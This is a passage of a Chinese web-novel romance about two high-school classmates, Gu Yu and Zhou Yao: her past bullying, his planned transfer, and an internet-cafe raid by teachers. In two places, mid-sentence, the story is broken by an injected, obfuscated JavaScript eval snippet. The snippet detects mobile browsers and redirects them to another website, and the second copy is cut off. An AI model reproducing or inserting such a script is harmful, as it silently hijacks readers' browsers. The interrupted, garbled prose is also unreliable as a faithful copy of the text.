但那时候他又在干什么呢?周窈放学不跟他一起回家,到底真的是因为嫌女生们找她问东问西,还是单纯因为他一起走会被叫成是他的“小保姆”,又或者是像刚刚这人说的,是因为被欺负,留她一个人做值日? 那时候自己为什么就信了呢?为什么没注意到,平时在校园里看到她时她都是独自一人,集体活动也没人找她一起,她也越来越沉默,为什么都没注意呢? 更可恶的是,周窈被排挤被霸凌的起因仅仅是她妈妈在自己家里照顾他年迈的奶奶…… 【顾彧,为什么我一遇到你,就没好事呢?】 手上的劲渐渐松开。 青春痘如获大赦,捂着自己的喉咙从墙上滑下来,然后弓着腰猛烈咳嗽起来。他的同伴及时上前扶住了他,看着自己这边也来人了,青春痘顿时好像又有了叫嚣的勇气,抬头骂了一句:“你TM有病吧!” 顾彧冷冷扫了他一眼:“滚!” 或许是怕顾彧会再次找他麻烦,青春痘在同伴的搀扶下连滚带爬地跑了。 将这一切看在眼里的蒋煜他们想着要不要上前安慰一下顾彧,却被顾彧此时的脸色吓退,而且仔细一想,现在真正需要安慰的,好像也不是顾彧而是周窈。 蒋煜和李铭轩对视一眼,不禁感叹:“没想到葛朗台?周以前这么可怜……” 得知一切真相的顾彧此时像被抽干了浑身的力气,满脑子只剩一句话——怪不得她让自己离她远点。 拒绝了蒋煜和李铭轩的关心,顾彧独自骑车离开,望着他的背影,蒋煜不由得担心:“他这样没事吧?嗐,都怪我,吃什么炸串啊!校门口的烧烤炒面也不错啊……” 李铭轩拍拍他的肩:“算了,他不正为周窈不理他发愁么?这下也算知道原因了。” 13. 真相 蒋煜发消息过来的时候,周窈正在和一道数学题死磕,听见手机响本来也不想理会,但瞥了一眼消息栏的预览,突然怔住了。 【蒋蒋蒋蒋:阿周……跟你说个事啊,刚刚我们仨在炸串店里遇到你的小学同学了,那啥,就是说你小学的时候被霸凌的事,顾彧他知道了……】 望着蒋煜发来的消息,周窈有些茫然,她突然不知道该怎么回复,想了半天也只回了“知道了”三个字。她单方面讨厌了顾彧这么多年,却从没想过如果顾彧有一天知道了这件事,应该怎么办。 手机再度响起,周窈以为是顾彧或者蒋煜的电话,吓得她一个没拿稳,手机直接摔在了桌上。捡起来一看,发现是陈娟的电话,顿时松了一口气。 陈娟言简意赅,让周窈去门岗拿纸箱,晚了就被别人收走了。 周窈挂了电话,出门往门岗走去。 今天的纸箱尤其的大,不知道是谁家买了新冰箱,那箱子比她人都高都宽。周窈艰难地将箱子拖回家,短短几分钟的距离她不知道换了多少次姿势,手都被勒红了。 在第N次停下来休息的时候,边上突然伸过来一双手接过纸箱。周窈一惊,心想可别给我抢走了,抬头一看,却是顾彧。 平日里吊儿郎当的人,今日不发一言地将厚重的纸箱扛在肩上往周窈家方向走去。周窈看了眼他沉默的背影,抿了抿唇,也跟了上去。 中途两人都没说话,顾彧将纸箱搬到周窈家楼下,等着周窈来开门。 周窈打开一楼大门,转身向顾彧伸出手:“给我吧。” 顾彧侧身一躲,示意周窈让开:“你搬不动。” 说完,他绕过周窈扛着箱子三两步上了楼,又将纸箱靠墙立好。然而做完这些之后,他却没有离开,只是站在门边望着楼梯下方的周窈。 见他不走,周窈有些无奈地叹了口气,上楼拿钥匙开门。 “对不起。” 身后陡然响起这么一句。 周窈知道他是在为什么道歉,却突然觉得有那么丁点好笑:“开学才这么几天,你就已经跟我道了两次歉了。” 气氛突然凝滞。其实说完这句话周窈就有些后悔了,自己未免显得有些刻薄,但心里这股火,她又确实压制不住。 “不过,没关系,都过去了。” 说完,周窈径自推门进屋,也没问顾彧要不要进来待会,将纸箱拖进屋里之后,就在他面前关上了门。 楼道里安静得有些可怕。顾彧机械地下楼,抬头望向周窈家厨房的窗户,没亮灯,看起来黑洞洞的,但顾彧就是对着这扇窗户看了很久,也不知道在看些什么,脑子里乱糟糟一团。 他突然想起小学毕业的那个夏天,奶奶刚去世时,周窈也刚结束了被霸凌的小学生涯,她那时还在疗伤吗还是已经走出来了?面对始作俑者的自己,她安慰着伤心的自己时,心里又在想什么呢? 真的一切都过去了吗? 夏天的雨总是无缘无故。等顾彧反应过来的时候,他已经在雨里站了许久了。低头看了眼被雨水浸湿的衣服,他这才像是活过来似的,往家里方向走去。 回到家洗了澡换了衣服,正拿着毛巾擦头发,看见手机屏幕闪了下,何茜华的电话。 “喂,妈。” “小彧,吃饭了吗?” 顾彧打开空荡荡的冰箱:“嗯,吃了,和同学在外面吃的。” 听到顾彧和同学一起吃饭,何茜华有些许开心:“哦,那很好啊,恭喜你交到新朋友了。吃的不是什么路边摊这种脏兮兮的东西吧?” “小炒店。”顾彧随口胡诌。 “听起来比外卖好,不过注意荤素搭配知道吗?” “嗯。” 对面停顿了一下:“小彧啊,那个,妈妈中秋节可能不能回去看你了。” 中秋节? 顾彧切出通话页面,点开日历看了一眼,今年中秋节在九月下旬,离现在还有两个多星期。 “是工作上又有什么事吗?” “嗯。”何茜华言语中充满了歉意,“我要带队去外地学习,中秋节赶不过来。” “哦。”顾彧垂下眼眼眸,语气却满不在乎似的:“没关系,有事你就去忙吧,我自己过也行,没什么区别。” “小彧……”何茜华语气有些无奈,或许是觉得顾彧在说气话,但又觉得儿子向来如此。于是停顿了一下之后,她换了个话题:“我今天跟你的新班主任通了电话,也说了你的情况,这次数学摸底,考得还可以是吗?” “还行吧。” “我跟她咨询了转学海市的事,你们班主任说得倒是挺中肯,说你现在学习状态还不错,但毕竟海市和舟市高考形式不一样,如果要转学,还是要尽早考虑,尽早适应。” “哦,是吗。” “小彧,我还是希望你尽快考虑一下来海市的事,下周妈妈就要去办过户了,到时候把你的户口也迁过来……” “再说吧,我现在没有想要去海……”话说一半,顾彧突然愣住了,原先,他确实没有要转学去海市的理由,但现在…… 起码他去了海市,周窈就不用再看见他了,也就不用再想起以前被霸凌的那些事了。 “算了,我考虑考虑吧。” 面对顾彧突然的改口,何茜华自然是高兴的:“真的吗?你能松口妈妈真的是太高兴了,那你认真考虑一下,考虑好了告诉我,好吗?” “嗯,好的。” 挂了电话,顾彧有些木然地站在客厅中央,边上刚刚打开的冰箱门依旧开着,冷气源源不断地流出来,浸在身上,冻得他打了一个哆嗦。 外面的雨更大了,闪电伴随着雷声将夜幕撕裂。 突然想起来房间里的窗户没关,此时恐怕雨水已经打湿他的窗台了,于是关上冰箱门匆匆往房间里走去,就在他将要关窗的那瞬间,雨声中夹杂着一道细弱的声音从隔壁传来。 “Maybeitistruethatwedon''tknowwhatwehavegotuntilweloseit,butitisalsotruethatwedon''tknowwhatwehavebeenmissinguntilitarrives.givingsomeoneallyourloveisneveranassurancethattheywillloveyouback,don''texpectloveinreturn,butifitdoesnot,becontentitgrewinyours.” 越来越多的雨水溅入窗台,甚至打湿了顾彧放在桌上的学习资料,然而他就像是没发现一般,愣愣地站在窗边,听着隔壁的周窈念完一整篇英文课文。 / 代薇子发现今天教室里的气氛很奇怪,用慌乱来形容也不为过,教室里各科作业疯传,等着收作业的课代表双手叉腰一脸不耐烦地站在讲台边等着,催促声此起彼伏。 “怎么回事啊?”她问坐在座位上意外老实的蒋煜。 “哎——”蒋煜长长地叹了口气:“昨天葛朗台·周没发作业答案……” “嗯?”代薇子愣了一下,她昨天晚上赶完作业就追剧去了,也没注意□□群里的动态了,“她也没说为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460785|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 蒋煜撑着头,望着一片空白的作业本发愁:“她虽然没说,不过我大概知道是为什么。” “为什么?” 蒋煜又叹了一口气,压低了声音:“昨天放学我不是带顾神和李铭轩去吃油炸么,好死不死碰巧遇到了葛朗台的小学同学……” 三言两语,代薇子便了解了事情的始末,刚想说周窈还挺不容易的,周窈就来了,随即就见刚刚还一脸愁容的蒋煜脚下生风似的蹿了上去:“哎哟我的窈啊!你怎么这么命苦啊!” 周窈一脸嫌弃地将他推开,半警告道:“你可别到处乱说。” 蒋煜忙不迭点头:“我知道我知道!我谁也不说!” 然而周窈刚坐下,代薇子就关切地慰问:“你没事吧?” 周窈眼一横,望向刚刚还保证“谁也不说”的蒋煜,后者立即摆手:“我也就和代代说了,别的人谁都不知道!” 话音刚落,李铭轩又找了过来,问周窈要作业抄,但下一句又是:“哎,你没事吧?” 周窈简直无语,作业“啪”得一声甩到桌上。蒋煜无辜小声解释:“这真不是我说的,昨天他也在场……”随即小心翼翼地摸过周窈的作业,做贼似的飞速地抄了起来。 早自习,史芬望着菜市场一般的教室,太阳穴直突突,用力地拍了好几下讲台,教室里这才安静下来。视线在班级里扫视一圈,对着蒋煜问:“顾彧人呢?” 上课都好几分钟了,顾彧还没来。 看着身边空空荡荡的座位,蒋煜挠了挠头:“我不知道啊,他也没跟我说。” 史芬皱了皱眉头,布置了一篇课文背诵之后,就打算出去给顾彧打个电话问问情况,昨天她才跟顾彧他妈妈通过电话,知道他现在是独自在舟市生活,身边也没人照顾,万一出了点什么事就不好了。 刚要拨通电话,就看见顾彧拎着书包顺着楼梯匆匆跑上楼来,一副气喘吁吁的样子。史芬盯着他看了一会,就见他脸色有些发白,额头上薄薄一层的汗,整个人看上去不如平日那么精神,便问了一句:“你没事吧?身体不舒服?” 顾彧摇了摇头:“对不起老师,我迟到了。” “快进去吧。”知道他的情况,史芬也不忍苛责,拍了拍他的肩膀就放他进教室了。 顾彧一进去就看见座位上捂着耳朵低头背课文的周窈,他顿了一下,然后绕过她回到了自己的座位上。 蒋煜第一时间凑过来:“诶,顾神你没事吧,怎么来这么晚?刚史芬还跟我问你来着。” 顾彧看了他一眼:“起晚了。”然后拉开书包往外掏作业,然后往桌上一趴。 蒋煜歪着头看了他几眼,看他脸色不太好便也没再说话,转而从桌洞里偷偷摸出手机,在史芬的眼皮子底下打开手机偷偷摸摸拉了个小群。 【蒋蒋蒋蒋:我去,顾神这状态不对啊,怎么办啊朋友们?】 【李是李铭轩的理:什么怎么办?咱们又不是当事人。】 【蒋蒋蒋蒋:那也不能看着他们这么僵下去吧?】 【代代:你人还怪好的,要我说,周窈就应该一辈子都不理顾彧,周窈被霸凌了这么多年,他竟然现在才知道?】 【蒋蒋蒋蒋:也不知道昨天顾神和周窈道歉了没……】 【代代:道歉了有什么用,迟来的道歉就是一句废话!】 说完,代薇子放下手机,在草稿纸上写了一句话,推到周窈面前。 “我支持你,别搭理顾彧,长得再帅他也是个大猪蹄子!” 捂着耳朵背课文中的周窈手一松,随即拿起笔在下面添了一句——“你说得对。” 14. 转学 在诸位知情人看来,这件事的的确确是顾彧对不起周窈,怎么着也应该是顾彧主动去要求周窈原谅,可观察了两天,这两位的状态却怎么看怎么像是顾彧单方面把周窈给拉黑了。 【蒋蒋蒋蒋:离大谱了朋友们,刚刚做完课间操上楼,顾神看周窈过来,立马掉头就走,跟那啥见了猫似的,多大仇啊?】 【代代:化学课前后桌做实验,他不是还和李铭轩换位置了么,说句不恰当的,真就是避如蛇蝎……哪来的脸。】 【蒋蒋蒋蒋:你这路转黑的速度挺快啊。】 【蒋蒋蒋蒋:我受不了了!这事也太TM诡异了!这两人开学就跟咱们装不熟,现在又搞冷战,国际形势都没变化这么快啊!】 【李是李铭轩的理:国际形势要是变得这么快,文科生得崩溃。】 【蒋蒋蒋蒋:救救孩子吧!我夹在中间太难了!谁能想到,我竟然还要帮顾彧交小组作业,就因为周窈是流动小组长!我难道看起来像是传声筒吗?!】 【李是李铭轩的理:不,你看起来像是他们play中的一环。】 【蒋蒋蒋蒋:……】 【代代:再忍一忍吧,搞不好你马上可以解脱了。】 【蒋蒋蒋蒋:此话怎讲?[竖起小耳朵]】 【代代:刚刚谭欣从史芬办公室回来,说是顾彧在跟史芬咨询办转校的事。】 【蒋蒋蒋蒋:转校?他能转去哪?二中?三中?星海?育才?】 【代代:转去海市。】 谭欣跟荣子涵她们八卦的时候,周窈就在位置上刷题,身后座位空着,顾彧应该还在办公室里没回来。 荣子涵听说顾彧要转学,一脸颓丧:“他怎么就要转走了啊?我还没来得及跟他表白呢。” 谭欣捂嘴轻笑:“你现在就算表白了也不一定成功啊,于奥琪都被拒绝几次了。” 荣子涵:“但不说总会有遗憾嘛,哎,也不知再见时今夕是何年了。” 将两人对话听了个全,周窈也不知自己现在是个什么心情,原本巴不得顾彧离她远点,但当顾彧真的远离她时,她又觉得有那么点不舒服。 有点像是愧疚,又不全是。可她为什么要愧疚,明明自己是因为他才遭受的霸凌。 可是…… 解题思路像是打了死结,不管她怎么挪动等式,都不成立,干脆泄气地将笔一扔,起身想去走廊吹吹风。 找了个没人的栏杆挂了上去,刚一低头就看见顾彧从楼下办公室出来,史芬还送了他一段,两人又在门口说了几句话。说话间顾彧咳嗽了两声,史芬又立即回办公室去,给他拿了包可能感冒冲剂之类的东西,果然第一名的待遇就是好啊。 正感慨着,顾彧却不知道为什么突然抬了一下头,像是有心灵感应似的,视线不偏不倚撞了过来,四目相对时,两人皆愣了一下。 周窈想都没想立即背过身去,但没过多久就回过味来。 我躲什么躲啊,又不是故意看他的…… 可即便事实如此,也不妨碍这副景象看上去的确像是偷窥被抓包。但好在顾彧回来之后也没提及,他甚至没多看周窈一眼,只低着头回到自己的座位上。 此时蒋煜正在往他桌上递情书,各种花色,数量还不少,见他回来,忍不住叭叭了两句,语气还挺酸。 “你要转去海市的事可是都传出去了啊,你看,这都是要抓紧时间跟你表白的。我刚刚不小心看了一眼,还有于奥琪呢,她对你还没死心啊……” 顾彧没搭话,将史芬给的那包感冒冲剂倒进杯子里,然后起身出去接水了,再回来的时候,蒋煜已经将那些情书已经整理成整整齐齐的一沓了。 “你的情书,怎么处理啊?” “扔了吧。”说完,顾彧一口气干了那杯冲剂之后,就往桌上一趴,睡了。 “扔了?”蒋煜看了眼手里的情书,只觉得自己活像宫廷戏里为皇上整理奏折的太监,干脆随手将情书塞进顾彧的桌洞里,不管了。 最后一节自习课是史芬过来管着,蒋煜想把顾彧叫醒,史芬却摆了摆手说“让他睡”。那一瞬间,蒋煜惊得下巴都快掉了,压低了声音喊着要打到“(学)霸权”,却被史芬赏了个暴栗,惹得众人爆笑。 即便史芬默许,在旁人看来顾彧这觉依旧睡得有些奇怪,毕竟在大家眼里顾彧是年级段第一的好学生,好学生怎么会上课睡觉呢?肯定是身体不舒服呗。于是就连周窈也没忍住回头看了他一眼,代薇子抓住她的小动作,忍不住哼哼:“不是说好不理他吗?” 周窈一顿,回了一句:“我看他死没死。” 代薇子自然不信,当即戳穿:“嘴硬心软。” 顾彧这一睡就睡到了放学,醒来的时候教室里都没什么人了,前面周窈的座位也空着,蒋煜和李铭轩则坐在靠窗的桌子上打游戏。 “快快快!中路支援一波!哟,学霸醒啦?睡得香吗?” 顾彧抹了把脸,整个人说不出的慵懒。 “下课了?” 李铭轩乐了:“多新鲜啊,放学都快半小时了,你这是睡迷糊了吗?” 他眯着眼看了一眼窗边的两人:“那你们怎么还没走?” “您不起我们怎么敢走啊?你看看你桌里的情书,要不是我俩守着,万一哪个小姑娘趁你睡着把你背走可怎么办?” 顾彧低笑一声,没说话,想起来整理书包,却没想他一动弹,身体各处的骨头就像生锈了那般的疼,缓了好久,才慢悠悠把书包收拾好。 刚起身打算往外走,蒋煜就伸过手来将他拽住。 “哎哎哎,先别急着回家,你看你都快转去海市了,咱不得抓紧最后机会带你快活一把吗?我发现了一家超隐蔽的网吧,去玩会吧。” 顾彧起身,却只觉得自己睡醒之后更晕了,本来想拒绝蒋煜直接回家,但蒋煜却没给他这个机会,拎过他的书包就往外走。 “你看你这几天状态那么差,赶紧去峡谷里乱杀几把找回活力!” 李铭轩跟在边上:“靠不靠谱啊你说的那家网吧,别又让大黄鱼给端了,那就真得周一见了。” 蒋煜拍着胸脯保证:“这家大黄鱼肯定发现不了,我用我项上人头保证!要真被抓了,检讨我替你写,升旗仪式上我替你念行不行?” 蒋煜和李铭轩一路插科打诨,顾彧慢吞吞缀在后面,经过周窈座位的时候,他突然一愣。 周窈的书包还在位置上,她还没走? 周窈确实还没走,她拿着卷子在办公室里问题呢。 题目问到一半,物理老师起身去上了个厕所,周窈就在他位置上等他回来。此时学校里的学生几乎都走光了,一片安静之中,就听见有人“噔噔噔”地从楼上下来,周窈都不需要特地朝外面看,就听见蒋煜那大嗓门在那嚷嚷。 “我跟你说,那地方可隐蔽了,一般人根本找不着!” “机子怎么样?”李铭轩的声音。 “机子那是一级棒!总之跟我去就得了!” 这一听就是要去网吧。 一中作为舟市的重点中学,在看中升学率的同时,也狠抓风纪,尤其是网吧这种地方,是明令禁止学生进入的,万一被抓到,那就是喜提检讨、通报、周一升旗仪式三件套了。 不过即便知道他们是要去网吧,周窈倒也没那么闲的要去告密。 “诶顾彧呢?” “顾神你快点啊,没有你我们怎么称霸峡谷啊!?” 周窈笔尖一顿。顾彧也去? 上课睡觉放学网吧,他这是要跟差生看齐了?就算要转学去海市了,也不用这么堕落吧,又不是去了海市就不用高考了。 “来,刚刚那道题听明白了吧?还有哪题不会?” 物理老师回来,周窈忙收起思绪,将手里的卷子递了过去:“还有这题……” “我看看……” 等周窈问完所有的题,外面天都已经黑了。史芬从外面进来,看她还在办公室里,便催促她赶紧回家。周窈应下,收拾了东西又谢过物理老师之后,便往班级里方向走。 刚到办公室门口就和教导主任老黄撞了个正着,老黄看了一眼她手里的学习资料,笑眯眯问了一句:“问题目啊?” 周窈点了点头:“嗯,黄主任好。” 老黄外号大黄鱼,有些年纪了,听说过两年就要退休了,但外表上着实看不出来,依旧头发浓密身材匀称,尤其是他那把嗓子,五百米开外他吼一声你能听得清清楚楚,就升旗仪式上的麦克风都不知道被他喊炸了几个了,还听说他的拿手曲目是屠洪刚的《精忠报国》。 老黄拍拍她的肩:“问完快点回去吧,都这么晚了。”说完,他越过周窈,喊刚进屋的史芬:“快点啊,去晚了那帮小兔崽子都跑了!我说怎么其他几家网吧最近人少了呢,原来又给他们找着秘密基地了。你说周边这些店家也是无良,就专跟你学校打擂台,可着这些学生薅,太不像话了!” 他这话一出,周窈原本正往外走 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毕竟蒋煜是他的忠实客户,她就当是维护客户关系,给他一点善意的提醒吧。 发完消息,她便抱着自己的学习资料回到教室。此时教室里已经空无一人,就剩她的书包还放在位置上,看起来孤零零的,几乎瞬间就让她回想起小学时那个总被剩下的自己。 或许是最近顾彧又闯进了她的生活里,以至于她总想起小学时的那些事,不免令她有些糟心。 想抓紧时间收拾东西走人,就看见稍显凌乱的桌面上,此时正安安静静躺着一盒巧克力牛奶。 不用猜都知道是谁放在这的。 周窈心情有些复杂地将牛奶放进书包里,内心是说不上来的烦躁,以前的种种此刻在她脑海里一幕幕闪回。 其实顾彧也不是一直都那么烦人的,他也有“表现良好”的时候,小学时文艺汇演,她们班表演诗朗诵,她只是站在角落当背景板的那个,顾彧却在台下招呼全班级的小朋友给她挥旗子加油;有一年生日,那时候周建民的收入还行,给她买了一辆漂亮的儿童自行车,也不知是不是太招摇遭人嫉妒,总被人扎破车胎,后来也是顾彧设下“天罗地网”帮她抓到“犯人”并狠狠揍了一顿。更别提小学三年级以前,每天放学两人都是手拉手一起回家,而且顾彧永远坚持先把自己送到家之后才回去。 只是某个阴雨天之后,一切都变了。 那天上到最后一节课,外面突然开始下雨,就在周窈想着一会可能要淋雨回家时,就见陈娟带着伞出现在教学楼下。起初别的同学还很羡慕她有妈妈来送伞,结果陈娟却进了楼下的教室,没多会顾彧就撑着伞走了出来。 边上同学问:“你妈妈为什么要把伞给顾彧不给你啊?” 周窈虽然心里也失望妈妈没来找自己,但还是强撑着解释:“这有什么关系,反正一会我们也要一起回家的。” 此时不知道从哪里蹿出来一个小胖子,高声喊着:“周窈她妈是顾彧家的保姆!”这一声像是一道炸雷,让周窈之后的日子再无宁日。 各种各样的嘲笑、谩骂纷纷向她涌来,有人说她不过是个保姆的小孩,还装出一副跟顾彧关系多好的样子。有人造谣她暗恋顾彧,就幻想自己是灰姑娘。有人说她打肿脸充胖子,明明家里没钱,还天天带一些高级零食到学校来,怀疑是她从顾彧家偷来的。 各种出自小孩口中的恶毒言语,让周窈瞬间变得沉默寡言,起初她还争辩几句,但她怎么可能吵的过四五十张嘴呢? 她也曾向陈娟寻求过帮助,但陈娟那时候忙着照顾顾彧奶奶,根本没心思管她,甚至还让周窈知道,原来那天之所以大家会知道陈娟是顾彧家的保姆,是陈娟自己说的。当时她去给顾彧送伞,班主任问她是谁,她便如实说自己是顾彧家里的保姆…… 当时的无力感,周窈至今都还记得。 找家长没用,找老师也没用,到后来,大家甚至都忘了最初排挤霸凌她的原因,像是一种“传统项目”,“欺负周窈”就这样在班级里存续了下去,直到毕业。 现在回想起来,已经是很久远的事了。 但不知道为何,周窈又突然想起那天她拒绝跟顾彧一起回家时,他失落的表情。 而此时,向来秒回消息的蒋煜也已经“失联”五分钟之多了。 看着毫无反应的手机,她最终还是下定决心,背上书包就往外面跑去。 反正他也要转学了,就最后救他一次。 15. 周一见 顾彧有些昏沉地跟着蒋煜和李铭轩到了那家所谓非常隐蔽的网吧,随便挑了三台最里面的机子坐了下来。 说隐蔽倒是真隐蔽,这家网吧也没有门脸,门开在一家小卖部里,平平无奇一道铝合金门,不是熟人带着还真发现不了。 李铭轩对这块“风水宝地”表现出了十分满分十分的满意:“哎,你怎么找着这个地方的?” 蒋煜嘿嘿一笑:“跟隔壁班的胖子打听来的,保证大黄鱼抓不着。来吧上分!今天的网资我包了!” 李铭轩熟练点单:“那我包吃喝呗。” 听他俩这么说,顾彧也轻笑了一声:“那我包什么?” 两人异口同声:“包上分啊!” 然而一局结束,看着结算页面顾彧那刺眼的0-7-1,三人集体陷入了沉默。 “顾神……是不是这台机子不行啊?” “鼠标键盘不顺手?” 顾彧歪歪头:“可能,有点热?” 李铭轩看了眼他微微有些泛红的脸颊:“你脸是有点红,里面是不是太闷了啊?”这网吧也不是什么正儿八经的店面,就一间一楼民居改的,面积就不大,二三十台机子凑在这一间十多平米的房间里,那主机箱轰轰直响,确实有些闷热。 刚好李铭轩手机响了:“我出去拿奶茶,给你降温。” 等奶茶的期间,蒋煜按捺不住自己八卦的心,看着顾彧的脸色,凑近了小声问道:“那啥,顾神,你真要转去海市啊?” 顾彧撑着头看了他一眼,也没否认,低低“嗯”了一声。 纵然蒋煜已经有了些许心理准备,但亲耳听到顾彧这么说,他还是略显失落:“哎,你才转来这么几天,我刚习惯了有同桌的生活呢,怎么又要转走了?还是要转去海市,这样以后见一面岂不是很难了?”说完,他又猜测:“你不会是因为葛朗台·周才要转走的吧?” 顾彧捏着鼠标的手顿了一下。 蒋煜捕捉到他的举动:“卧槽,我不会猜对了吧?不至于吧顾神,人葛朗台·周也没有恨你到这份上,怎么就突然一副老死不相往来的地步了呢?而且,而且这事它虽说是因你而起,但和你也没有直接关系啊,错的是那帮霸凌葛朗台·周的那些混蛋同学啊……” 其实任谁看这件事和顾彧都没有太大关系,但顾彧却不敢这样为自己开脱。 手无意识地划拉着鼠标,顾彧抿唇不说话,蒋煜见他似乎没有要听劝的意思,便扯开话茬,嘟囔着“李铭轩怎么拿个奶茶去这么久啊?”,一边朝门外张望。 没一会,就见李铭轩拎着奶茶撞开门,不管不顾就朝他们俩大喊:“大黄鱼和史芬找来了!” “什么?!”蒋煜惊得从座位上站了起来。 李铭轩跌跌撞撞跑进来,将奶茶往桌上一扔:“已经到巷子口了!前面几家网吧都被查了,现在正往这来呢!” 他这一声,将这间屋子里近一半的人都给惊着了。 本来来这家网吧上网的就是一中的学生,不然谁来这种不正规的小网吧呢?那些连锁网咖环境服务都要更好啊。于是一听“大黄鱼来了”,其他学生也都惊动了,纷纷朝李铭轩问道:“大黄鱼真的来了吗?” 李铭轩一脸焦急地竖起三根手指:“我发誓行不行?我真看见了!” “那怎么办啊?”蒋煜慌得六神无主。 李铭轩一手一个将两人从位置上拖起来:“什么怎么办啊,跑啊!” 于是乎这房间里上网的学生瞬间呼呼啦啦都往出口涌,将那道小门堵得水泄不通,外面看店的老板见这阵仗也惊了,忙问怎么了,一边还着急忙慌给学生们打掩护。 蒋煜多少还抱有一些侥幸心理:“确定他是往这边来的吗?不能吧,这里这么隐秘……” 话音刚落,门外就传来黄主任穿透力极强的声音,似乎是在跟网吧老板争执:“学校周围明令禁止,不许开这种黑网吧!开一家我们举报一家,就这样你还开!还给他们打掩护?!祖国的苗子都被你们这种贪钱的大人给摧残了!那么多生财之道,非要做这种蝇营狗苟的生意!一辈子发不了财!” 不愧是教导主任,一番话说得网吧老板一个字都不敢吭了。 “要死了要死了,竟然真的找来了,这下真的周一见了……”蒋煜急得乱窜。 顾彧撑着自己越发昏沉的头,扫了一眼房间里,然后指着房间另一边的门说:“走前门吧,没准能躲开。” 这网吧本来就是民居改的,小卖部那是连着铺面的后门,那自然还有扇连着居民楼的前门,而幸运的是,老板娘此时正好在家,听到响动很快就帮他们开了门。三人和其他剩下还没逃出去的学生就顺着前门溜了出去。出去后发现果然是居民楼的一楼,只不过在小店街的另一边,要说完全出逃成功,那倒也没有,最多就是他们绕到了大黄鱼和史芬的后面,只要两人一回头,瞬间就能发现他们,更别提他们仨的自行车还在小卖部门口没拿呢,自行车上可贴着他们班的车牌…… 果不其然,就听黄主任高亢的嗓音从前面传来:“看看看!这自行车都在这呢!你来辨认一下,这都是谁的?” 此话一出,三个人血都凉了。 “得了,周一见了各位。”李铭轩绝望的平静,“早点自首早点回去写检讨吧。” 蒋煜颓丧着道歉:“对不起了朋友们,要不是我带你们来,也不会被大黄鱼抓到。放心吧朋友们,你们的检讨我包了,不用替我担心,写检讨我有经验,只是我对不起顾神,人都要转学去海市了,还让他上了一次升旗仪式……” 顾彧背靠着墙,边喘着热气边轻扯了下嘴角:“没事,也算是个深刻体验。” “人肯定在这,咱们分头找找!” “我去!快跑!” 随着黄主任一声怒吼,刚刚还一副有难同当相约周一的人,瞬间做鸟兽散,分散蹿向两边。顾彧也想跑,然而此时他头昏沉的很,没走两步就觉得视线一阵晕眩,像是随时要倒下似的。眼看着蒋煜和李铭轩已经跑没影了,顾彧也就收了想要一起跑的心思,干脆就往路边上一站,等着大黄鱼和史芬将自己捡走得了。 那三辆停在网吧门口的自行车都挂着九班的车牌,史芬虽然也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,顾彧就迅速伸手按下了她的头,周窈正想说“你找死”,门外就传来史芬的声音:“黄主任,我找了一圈都没找着人,估计是跑了,等明天我到学校抓人问问吧。” “也行,反正你们班学生你看着办吧……至于你们这些小兔崽子,跟我回学校!”然后就是一阵呼呼啦啦的脚步声。 周窈抱着膝盖低着头仔细听着外面的动静,等一切恢复平静之后,她才敢再次抬起头来,刚一抬头就和又顾彧的那双狐狸眼对上,只是这双狐狸眼里,此时看不到平日里的意气张扬,反而极认真地看着她。他们的距离也极近,几乎膝盖碰着膝盖,两人呼出的热气都打在一起,甚至周窈都能在顾彧的眼瞳中看清自己的倒影。 于是她往后挪了挪,想要拉开两人之间的距离,却又被顾彧一把拉住。 “嗯?”她有些不解地抬头,以为顾彧是有什么话要说。 顾彧确实有话想要对周窈说,他想问她为什么会出现在这里,为什么还肯帮他,但就在他张嘴想要问出口的瞬间,周窈的手掌突然“啪”地一声拍向了他的额头,随即就是一副看傻子似的表情看着他。 “顾狐狸,你知不知道你在发烧?” 16. 隔壁邻居 “嗯?”顾彧慢慢眨了一下眼睛,他知道自己感冒了,这两天一直不舒服,可能是那天淋了雨,洗完澡又吹空调的关系,但他确实不知道自己发烧了。 周窈还是第一次看顾彧这么傻愣愣的样,平日里精得就像是狐狸成精,现在连反应都慢半拍,看来真的是烧得不轻了。 “你先起来。”周窈架着顾彧的胳膊试图将他从地上拉起来,但长时间蹲着的两人起身的瞬间都不自主的一个踉跄,差点撞到边上的书架上。 顾彧眼疾手快伸手在周窈背后挡了一下,动作之迅速仿佛刚刚因病宕机的人不是他似的。 周窈扭头看了一眼垫在自己背后的手,白皙的小臂上已经有了一道红印子。 说不上是个什么情绪,她反手将扶住顾彧的手臂:“还能走吗?” 刚刚还“英雄救美”的人瞬又间蔫了,顺着周窈的动作干脆整个人挂在她身上。 “没力气……” 周窈也看不出他到底是真的还是装的,但额头上滚烫的温度骗不了人,于是只能任由他挂在自己身上。可就靠周窈也着实架不住这位185的大高个,毕竟她也只有159.5,于是她艰难地架着顾彧走出书店来到路边,然后掏出手机给蒋煜打电话。 但蒋煜不知道怎么回事,先前消息不回,这会电话也打不通。周窈用手肘捅了捅顾彧:“李铭轩的电话报给我。” 顾彧没回话,只将自己的手机解了锁递给周窈。周窈也不客气,点开他的通讯录找到李铭轩播了过去。对方接起电话听是周窈也愣了一下,但听说顾彧发烧了之后,便二话没说找到了蒋煜两人赶了过来。 等两人到了的时候,顾彧还挂在周窈身上,一高一矮的姿势极不和谐。 蒋煜看着两人这怪异姿势琢磨:“顾神这是……瘫了?” 周窈艰难地招了招手:“你们把他扛回去吧。”然后把顾彧往蒋煜身上一推,自己转身走了。一边走一边活动着胳膊肘,这人重得跟秤砣成精了似的。 